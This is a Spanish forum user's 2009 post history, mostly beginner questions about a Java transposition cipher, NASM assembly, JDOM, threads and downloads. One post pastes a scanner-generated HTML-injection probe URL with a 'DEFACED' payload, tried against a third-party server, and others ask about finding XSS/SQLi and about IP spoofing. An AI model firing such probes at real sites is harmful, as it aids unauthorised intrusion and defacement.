    private javax.swing.JTextField entradaClave;
    private javax.swing.JTextField entradaHash;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel2;
    private javax.swing.JLabel jLabel3;
    private javax.swing.JLabel jLabel4;
    private javax.swing.JLabel jLabel5;
    private javax.swing.JLabel jLabel6;
    private javax.swing.JMenu jMenu1;
    private javax.swing.JMenu jMenu2;
    private javax.swing.JMenuBar jMenuBar1;
    private javax.swing.JMenuItem jMenuItem1;
    private javax.swing.JPanel jPanel1;
    private javax.swing.JPanel jPanel2;
    private javax.swing.JTabbedPane jTabbedPane1;
    private javax.swing.JTextField textoIntroducido;
    // End of variables declaration

}



Codigo de la clase encriptadora:


Código (java) [Seleccionar]
import java.io.BufferedReader;
import java.io.InputStreamReader;

/**
*
* @author debci
*/
public class encriptador {
//instance
    private String claveOriginal="";
    private String textoOriginal="";
    private String claveActual="";
    private char[][] matriz;
    //reader
    BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
    //methods
    public String decodificar(String texto) {
        int repeticiones=0;
        int jSize= claveActual.length();
        while (repeticiones<jSize) {
            boolean cambio=false;
            int i=repeticiones;
            claveActual="";
            for (int j=0; j<jSize;j++)
                claveActual=claveActual+matriz[0][j];
            while ((!cambio)&&(i<jSize)) {
                    if (claveOriginal.charAt(repeticiones)==claveActual.charAt(i)){
                    modificarArreglo(i,repeticiones);
                    cambio=!cambio;
                }
                else
                    i++;
            }
            repeticiones++;
    }
    String output="";
    for (int i=1; i<matriz.length;i++)
        for (int j=0; j<matriz[0].length;j++)
            output=output + matriz[i][j];
    return output;
}
    public String codificar(String texto, String clave){
        claveOriginal=clave;
        textoOriginal=texto;
        int jSize= claveOriginal.length();
        int iSize= (textoOriginal.length()/jSize)+1;
        if ((textoOriginal.length()%jSize)!=0)
            iSize++;

        System.out.println("Filas :" + iSize + " Columnas: "+jSize);

        matriz= new char[iSize][jSize];
        int charPos=0;
        int keyPos=0;
        for (int i=0; i<claveOriginal.length();i++) {
            matriz[0][i]=claveOriginal.charAt(i);
        }
        for (int i=1; i<iSize;i++) {
            for (int j=0;j<jSize;j++) {
                try {
                    matriz[i][j]=textoOriginal.charAt(charPos);
                    charPos++;
                }
                catch (Exception e) {matriz[i][j]=' '; charPos++;}
            }
        }
        /*debug
        for (int i=0; i<iSize;i++) {
            for (int j=0; j<jSize;j++) {
                System.out.print(matriz[i][j]);
            }
        }
        */

        int repeticiones=0;
        while (repeticiones<jSize) {
            char[] filaCero= new char[jSize-repeticiones];
            for (int j=repeticiones; j<jSize; j++) {
                filaCero[j-repeticiones]=matriz[0][j];
            }
            int i=0;
            boolean cambio=false;
                    //tamaño de filaCero
            while ((i<jSize-repeticiones)&&(!cambio)){
                if (esElMenor(filaCero,filaCero[i])){
                    modificarArreglo(i+repeticiones,repeticiones);
                    cambio=!cambio;
                }
                i++;
            }
            repeticiones++;
        }
        /*debug
        for (int i=0; i<iSize;i++) {
            for (int j=0; j<jSize;j++) {
                System.out.print(matrizAuxiliar[i][j]);
            }
        }
        */
       String output="";
        for (int j=0; j<jSize;j++) {
            for (int i=0; i<iSize;i++) {
                if (i==0) claveActual=claveActual + matriz[i][j];
                output=output+matriz[i][j];
            }
        }
        return output;
        /*debug
        for (int j=0; j<jSize;j++) {
            for (int i=0; i<iSize;i++) {
                System.out.print(matrizFinal[j][i]);
            }
            System.out.println();
        }
        */

     }
    public void modificarArreglo(int colActual, int rep) { //intercambia las columnas que pasan como param
        /*for (int i=0; i<matriz.length;i++)
            matrizAuxiliar[i][rep]=matriz[i][colActual];*/
        char[]aux = new char[matriz.length];
        for (int i=0; i<matriz.length;i++){
            aux[i]=matriz[i][rep];
            matriz[i][rep]=matriz[i][colActual];
            matriz[i][colActual]=aux[i];
        }
    }

    public boolean esElMenor(char[] arreglo, char car) {
        boolean menor=true; //asume que es el menor.
        int i =0;
        if (car==' ')
            menor = false;
        else {
            while ((i<arreglo.length)&&(menor)) {
                if ((arreglo[i]!=' ')&&(car!=' ')&&(arreglo[i]<car))
                    menor=!menor;
                else
                    i++;
                }
            }
        return menor;
    }

Al introducir una clave de descifrado falla, la cosa es que la clase de encriptacion no trae un argumento concreto, es decir hay que itnroducir una palabra pero no la clave de cifrado, asi que ya me dirán que hago XDDDD

Saludos
#120
Nivel Web / Problema con XSS
15 Noviembre 2009, 15:18 PM
Hola amigos, he llegado a la conclusion, por scaner, de que un servidor es vulnerable a injecion html, me dice que ejecute lo siguiente:

/k4KX2kZIUbAKEoyVDYVni3REhNfDl2MZJ69toj5WOCSLG9JQadQWH2HdZ9vrxAD01LvJIivIdZhLcEJUBddfBVi0tGWNFa0P3F4NsgtePjkC8vDbf3DmKfmlyYeBmhJvMiVNtjv0yVmNqkx7V5HHIbs0o59lMP4i2DgQPc0H94Pf0ROFuXFMwJHiI7LUluaVrViT29otAu5hXvq3H27e15TBX2fyMjP<font%20size=50>DEFACED<!--//--: MyWebServer 1.0.2 is vulnerable to HTML injection

como directorio (supongo), pero al ejecutarlo obetngo lo siguiente:


Forbidden

You don't have permission to access /k4KX2kZIUbAKEoyVDYVni3REhNfDl2MZJ69toj5WOCSLG9JQadQWH2HdZ9vrxAD01LvJIivIdZhLcEJUBddfBVi0tGWNFa0P3F4NsgtePjkC8vDbf3DmKfmlyYeBmhJvMiVNtjv0yVmNqkx7V5HHIbs0o59lMP4i2DgQPc0H94Pf0ROFuXFMwJHiI7LUluaVrViT29otAu5hXvq3H27e15TBX2fyMjP<font size=50>DEFACED<!--//--: MyWebServer 1.0.2 is vulnerable to HTML injection on this server.
Apache/2.2.8 (Win32) PHP/5.2.6 Server at *****.com Port 80


que estoy haciendo mal? ES uno de los conocidos fallos del servidor?

Saludos
#121
Java / Problema con encriptador
15 Noviembre 2009, 13:59 PM
Hola a todos, estoy haciendo una clase para cifrar textos, pero tengo un problema, no se muestra en pantalla lo cifrado :s
Aqui el codigo que encontré:
Código (java) [Seleccionar]

import java.io.*;
public class encriptador  {
    //instance
    private String claveOriginal="";
    private String textoOriginal="";
    private String claveActual="";
    private char[][] matriz;
    //reader
    //BufferedReader in = new BufferedReader(new InputStreamReader(System.in)); modo consola
    //methods
    public String decodificar(String texto) {
        int repeticiones=0;
        int jSize= claveActual.length();
        while (repeticiones<jSize) {
            boolean cambio=false;
            int i=repeticiones;
            claveActual="";
            for (int j=0; j<jSize;j++)
                claveActual=claveActual+matriz[0][j];
            while ((!cambio)&&(i<jSize)) {
                    if (claveOriginal.charAt(repeticiones)==claveActual.charAt(i)){
                    modificarArreglo(i,repeticiones);
                    cambio=!cambio;
                }
                else
                    i++;
            }
            repeticiones++;
    }
    String output="";
    for (int i=1; i<matriz.length;i++)
        for (int j=0; j<matriz[0].length;j++)
            output=output + matriz[i][j];
    return output;
}
    public String codificar(String texto, String clave){
        claveOriginal=clave;
        textoOriginal=texto;
        int jSize= claveOriginal.length();
        int iSize= (textoOriginal.length()/jSize)+1;
        if ((textoOriginal.length()%jSize)!=0)
            iSize++;
        /*debug
        System.out.println("Filas:" + iSize + "Columnas:"+jSize);
        */
        matriz= new char[iSize][jSize];
        int charPos=0;
        int keyPos=0;
        for (int i=0; i<claveOriginal.length();i++) {
            matriz[0][i]=claveOriginal.charAt(i);
        }
        for (int i=1; i<iSize;i++) {
            for (int j=0;j<jSize;j++) {
                try {
                    matriz[i][j]=textoOriginal.charAt(charPos);
                    charPos++;
                }
                catch (Exception e) {matriz[i][j]=' '; charPos++;}
            }
        }
        /*debug
        for (int i=0; i<iSize;i++) {
            for (int j=0; j<jSize;j++) {
                System.out.print(matriz[i][j]);
            }
        }
        */

        int repeticiones=0;
        while (repeticiones<jSize) {
            char[] filaCero= new char[jSize-repeticiones];
            for (int j=repeticiones; j<jSize; j++) {
                filaCero[j-repeticiones]=matriz[0][j];
            }
            int i=0;
            boolean cambio=false;
                    //tamaño de filaCero
            while ((i<jSize-repeticiones)&&(!cambio)){
                if (esElMenor(filaCero,filaCero[i])){
                    modificarArreglo(i+repeticiones,repeticiones);
                    cambio=!cambio;
                }
                i++;
            }
            repeticiones++;
        }
        /*debug
        for (int i=0; i<iSize;i++) {
            for (int j=0; j<jSize;j++) {
                System.out.print(matrizAuxiliar[i][j]);
            }
        }
        */
       String output="";
        for (int j=0; j<jSize;j++) {
            for (int i=0; i<iSize;i++) {
                if (i==0) claveActual=claveActual + matriz[i][j];
                output=output+matriz[i][j];
            }
        }
        return output;
        /*debug
        for (int j=0; j<jSize;j++) {
            for (int i=0; i<iSize;i++) {
                System.out.print(matrizFinal[j][i]);
            }
            System.out.println();
        }
        */

     }
    public void modificarArreglo(int colActual, int rep) { //intercambia las columnas que pasan como param
        /*for (int i=0; i<matriz.length;i++)
            matrizAuxiliar[i][rep]=matriz[i][colActual];*/
        char[]aux = new char[matriz.length];
        for (int i=0; i<matriz.length;i++){
            aux[i]=matriz[i][rep];
            matriz[i][rep]=matriz[i][colActual];
            matriz[i][colActual]=aux[i];
        }
    }

    public boolean esElMenor(char[] arreglo, char car) {
        boolean menor=true; //asume que es el menor.
        int i =0;
        if (car==' ')
            menor = false;
        else {
            while ((i<arreglo.length)&&(menor)) {
                if ((arreglo[i]!=' ')&&(car!=' ')&&(arreglo[i]<car))
                    menor=!menor;
                else
                    i++;
                }
            }
        return menor;
    }
    public static void main(String args[]) {
        encriptador encriptador = new encriptador();
        encriptador.codificar("Hola", "debci");
    }

}//fin clase encriptador


Tengo un out para que muestre pero no sale nada.

Saludos
#122
Nivel Web / Duda standard xD
14 Noviembre 2009, 16:02 PM
Hola amigos, me gustaria preguntarles que método usan para localizar XSS y SQLi en paginas web, yo personalmente uso scanners, pero no creo que sea la mejor manera.
Como lo hacen uds.?

Saludos
#123
Hola amigos, me ha gustado ensamblador, y quiero aprender mas, en concreto son las siguientes dudas:

1- que significa que:
Código (asm) [Seleccionar]
int 0x80
Llama al kernel? Que es 0x80?
2- En el siguiente codigo:
Código (asm) [Seleccionar]

section .text
    global _start ;must be declared for linker (ld)

_start: ;tell linker entry point

[s]mov edx,len ;message length[/s]
mov ecx,msg ;message to write
mov ebx,1 ;file descriptor (stdout)
mov eax,4 ;system call number (sys_write)
int 0x80 ;call kernel

mov eax,1 ;system call number (sys_exit)
int 0x80 ;call kernel

section .data

msg db 'Hello, world!',0xa ;our dear string
[s]len equ $ - msg ;length of our dear string[/s]

se que el segundo subrallado calcula los bytes que ocupa la llamada al hola, pero como puedo especificar desde donde quiero contra bytes? Para que sirve en un hello world una lectura de este tipo si ni si quiera la expresamos en pantalla?
Que significa el primer subrallado?

3-que son:
section   .text
_start:   
section   .data

Deduzco que deben ser clases o metodos del ensamblador, pero no lo concretizo.

Muchas gracias a todos, me estais haciendo una persona bien cultivada.

Saludos
#124
ASM / Duda sobre e
8 Noviembre 2009, 21:43 PM
Amigos tengo una duda existencial, me gustaria saber como poner dos cadenas de texto en consola, se como se hace con una, que seria algo asi:
Código (asm) [Seleccionar]
section .text
    global _start ;must be declared for linker (ld)

_start: ;tell linker entry point

mov edx,len ;message length
mov ecx,msg ;message to write
mov ebx,1 ;file descriptor (stdout)
mov eax,4 ;system call number (sys_write)
int 0x80 ;call kernel

mov eax,1 ;system call number (sys_exit)
int 0x80 ;call kernel

section .data

msg db 'Hello, world!',0xa ;our dear string
len equ $ - msg ;length of our dear string

Como podria poner 2?
Saludos
#125
ASM / Problema de novato
8 Noviembre 2009, 14:00 PM
Hola amigos, estoy metiendome en esto del ensamblador, he creado mi primer programa, con nasm:

Código (asm) [Seleccionar]
section .text
    global _start ;must be declared for linker (ld)

_start: ;tell linker entry point

mov edx,len ;message length
mov ecx,msg ;message to write
mov ebx,1 ;file descriptor (stdout)
mov eax,4 ;system call number (sys_write)
int 0x80 ;call kernel

mov eax,1 ;system call number (sys_exit)
int 0x80 ;call kernel

section .data

msg db 'Hello, world!',0xa ;our dear string
len equ $ - msg ;length of our dear string


Al compilar hago:

Código (bash) [Seleccionar]

debci@debci-laptop:~$ nasm -f elf test.asm
debci@debci-laptop:~$ ld test.o -o test
debci@debci-laptop:~$ gcc test.o -o test
test.o: In function `_start':
test.asm:(.text+0x0): multiple definition of `_start'
/usr/lib/gcc/i486-linux-gnu/4.3.3/../../../../lib/crt1.o:/build/buildd/glibc-2.9/csu/../sysdeps/i386/elf/start.S:65: first defined here
/usr/lib/gcc/i486-linux-gnu/4.3.3/../../../../lib/crt1.o: In function `_start':
(.text+0x18): undefined reference to `main'
collect2: ld devolvió el estado de salida 1
debci@debci-laptop:~$ ./test
bash: ./test: No existe el fichero ó directorio
debci@debci-laptop:~$ gcc test.o -o test
test.o: In function `_start':
test.asm:(.text+0x0): multiple definition of `_start'
/usr/lib/gcc/i486-linux-gnu/4.3.3/../../../../lib/crt1.o:/build/buildd/glibc-2.9/csu/../sysdeps/i386/elf/start.S:65: first defined here
/usr/lib/gcc/i486-linux-gnu/4.3.3/../../../../lib/crt1.o: In function `_start':
(.text+0x18): undefined reference to `main'
collect2: ld devolvió el estado de salida 1
debci@debci-laptop:~$


Y no crea el ejecutable :s

Alguien sabe que me esta pasando?

Saludos
#126
Hola amigos, tengo que para solventar la X (incognita) en una ecuacion de segundo grado, debo hacer:

x= (-b ± (b2-4·a·c)1/2)/(2·a)

Pero no comprendo que es b, ni a, ni c

Tambien preguntar cual seria la operacion equivalente para resolver las de primer grado.

Pregunto esto porque lo planteo en mi programa y no se que valores pedirle al usuario para pasarselos a la operacion de x.

Un saludo
#127
Java / Control de Threads avanzado
4 Noviembre 2009, 20:01 PM
Miren amigos, quier hacer que mi thread se ejecute, haga su funcion, se pause que otro metodo recoja los datos, y que continue su funcionamiento, es decir que haga que me de datos y que continue, tengo lo siguiente:

Código (java) [Seleccionar]

//Esta clase se encarga de administrar y definir el comportamiento del proceso thread que refresca el
//y obtiene datos del servidor.

//Para ejecutar un thread ponemos new threadChat("Nombre del thread").start();
package procesos;

/**
*
* @author Andoni Diaz
*/
public class threadChat extends Thread {
    public static String datoObtenido;
    public static int contador;
    public threadChat(String str) {
        super(str);
    }
    public void run() {
    for(int i = 0; i < 10; i++) {
   
        datoObtenido = "Hola";
        contador=1;
        contador++;
       
            }
    }
    public static void main(String args[]) {
       threadChat thread = new threadChat("Prueba");
       thread.setPriority(10);
       thread.start();
       thread.stop();
        System.out.println(datoObtenido + contador);
    }
}


Cuando puedo pararlo y recobrar la ejecucion?

Saludos
#128
Electrónica / WINSADEX
23 Octubre 2009, 16:49 PM
Hola amigos, hace poco he empezado con esto de la electronica y estoy usando el sadex, que para empezar esta bien ,es como logo.
Me gustaria saber si alguien tiene el winsadex ya que las consultas en google son escasas tanto o mas que los resultados...

Saludos
#129
Java / Descarga de archivos con estadisticas?
21 Octubre 2009, 19:54 PM
Hola amigos, estoy haciendo un updater para un juego que necesita descargar un archivo, la cosa es que no se como hacer, bien no es la palabra, porque tengo la teoria pero no se como aplicar el rollo de los streams, o explico mi algoritmo:

Creo streams.
Meto como getInpunStream un objecto URL, y intento saber cuanto bytes tiene, y calcular la velocidad en proporcion a lo que tiene en total y lo que descarga en un segundo.
Pongo en una progress usando el cuarto proporcional en base  si el archivo mide x bytes = 100%
La cosa es que me faltan casi todos estos conceptos.

Alguna idea??

Saludos
#130
Seria en mi opinión una buena idea poner rangos por mensajes, si no me equivoco smf lo trae por defecto instalado y es bastante sencillo de configurar.

Hariais que fuese ams entretenido y mas vivo, la gente tendria un aliciente mas para postear y preguntar sus dudas, conseguirian actividad y e sun gesto mu pequeño que le daria a elhacker.net mas de lo que ya tiene.

Es un humilde consejo que me vino a la cabeza tras rondarme un ratillo.

Salu2
:D
#131
WarZone / Como se spoofea una ip?
4 Octubre 2009, 19:01 PM
Hola amigos, necesito que me digan algun protoclo o modificacion en mir ed para suplantarme una ip, lo qude si no me equivoco se llama IP Spoofing.

No se ni como se hace asi que agradeceria una guia o alguna lectura interesante.

Saludos
#132
Java / Problema con JDOM
26 Septiembre 2009, 17:09 PM
Hola amigos, tengo un problema con JDOM, leo valores de tags, peor no puedo escribirlos, le sdejo el supuesto codigo que deberia hacerlo:

Código (java) [Seleccionar]
SAXBuilder builder = new SAXBuilder(false);
           
            Document doc = builder.build("config/mainconfig.xml");
           

            Element raiz = doc.getRootElement();
            Element servidor = raiz.getChild("servidor");
            Element ip = servidor.getChild("ip");
           
            ip.setText("Hola");
            System.out.println("La direcion ip es: " + ip.getText());


El valor del hijo ip es por defecto 127.0.0.1 (asi esta en el archivo), peor yo quiero cambiarlo desde mi programa a hola, al hacerlo me devuelve que la driecion ip es Hola pero en el archivo no se ve ningun cambio, y en la siguiente ejecuion me vuelve a decir que es 127.0.0.1 que esta ocurriendo? No no es de permisos porque le he dado un chmod 0777 al archivo.

Alguien tiene idea de lo que ocurre ??

ESpero sus respuestas ¬¬
;D

Saludos
#133
Java / Método finalize() o parecido
19 Septiembre 2009, 11:07 AM
Hola amigos, se me presenta un nuevo problema, estoy desarrollando una sala de chat y de momento todo ha salido bien pero para dinamizar la lista de usuarios conectados que hay, cuando un cliente cierra el usuario de eset cliente sigue en la lista entonces lo que quiero hacer que al finalizar el programa este envie por socket algun dato y el servidor lo quite de la lista.
Leí por ahi que se puede hacer con finalize() pero al declararlo y meterle alguna función para probar, al finalizar mi programa no ocurre la funcion que esta dentro de finalize (en mi caso para probar un System.out.println("Programa finalizado");)
En consola no imprime tal mensaje al finalizar mi programa.

Saludos
#134
Hola amigos, estoy haciendo un algoritmo de cifrado de cadenas (por ahora) mas tarde quizás sean bytes  :silbar:.
Mi problema es que no se trabajar muy bien con cadenas de texto, y quiero cojer de una cadena de texto por ejemplo hola y guardarlo en un array de chars, para luego asiganrles un valor numérico, y a través de esto realizarle operaciones para cifrar, mi idea es la siguiente:

Entra texto
Separa cada uno de los caracteres y los guarda en un array dinamico
leo cuantos datos contiene el array y lo asigno a una variable
hago un for para que me los lea por separado y valla guardando en otro array los datos previa conversión y aplicación de operaciones y algoritmos
Junto todos los chars del array de recepción y los meto a un string
LO saco por pantalla.

Si tienen algún método mejor diganlo, en un principio pensé en convertir las cadenas a hex y luego aplicarle operaciones pero no resultó.

Saludos
#135
Java / Array [Ir apilando valores y buscar un valor]
1 Septiembre 2009, 15:13 PM
Bien, ya he avanzado mucho en mi projecto, solo me queda una cosita, quiero ahcer lo siguiente:

cliente envia un string por socket y servidor recive (como hacer que ese strign se guarde en un arreglo de strings o array, sin especificarle el indice,es decir que valla guardando segun le lleguen) y luego una vez muchos clientes han enviaod su string poder buscar en el array una string concreto (algún metodo para buscar datos en un array?)

Saludos